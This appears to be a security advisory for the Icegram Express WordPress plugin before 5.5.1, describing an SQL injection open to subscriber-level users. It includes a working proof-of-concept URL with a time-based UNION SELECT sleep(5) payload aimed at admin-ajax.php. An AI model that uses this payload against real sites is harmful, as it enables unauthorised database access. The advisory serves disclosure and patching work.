Icegram Express < 5.5.1 - Subscriber+ SQLi

2022-11-2100:00:00

Krzysztof Zajac

165

icegram express

sql injection

subscriber+

security exploit

0.001 Low

EPSS

Percentile

33.6%

JSON

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by any authenticated users, such as subscriber

Open the below URL when logged in as a subscriber and notice the 5s delay

https://example.com/wp-admin/admin-ajax.php?action=count_contacts_by_list&get_count=yes&list_id=1&conditions[]=3&status[]=\&status[]=)%20%20UNION%20SELECT%20sleep(5)%20UNION%20SELECT%20COUNT(DISTINCT%20subscribers.id)%20FROM%20wp_ig_contacts%20AS%20subscribers%20LEFT%20JOIN%20wp_ig_lists_contacts%20AS%20lists_subscribers%20ON%20subscribers.id%20=%20lists_subscribers.contact_id%20WHERE%201=1%20AND%20lists_subscribers.status%20IN(1)%20--%20g

0.001 Low

EPSS

Percentile

33.6%

JSON

Related for WPEX-ID:78054D08-0227-426C-903D-D146E0919028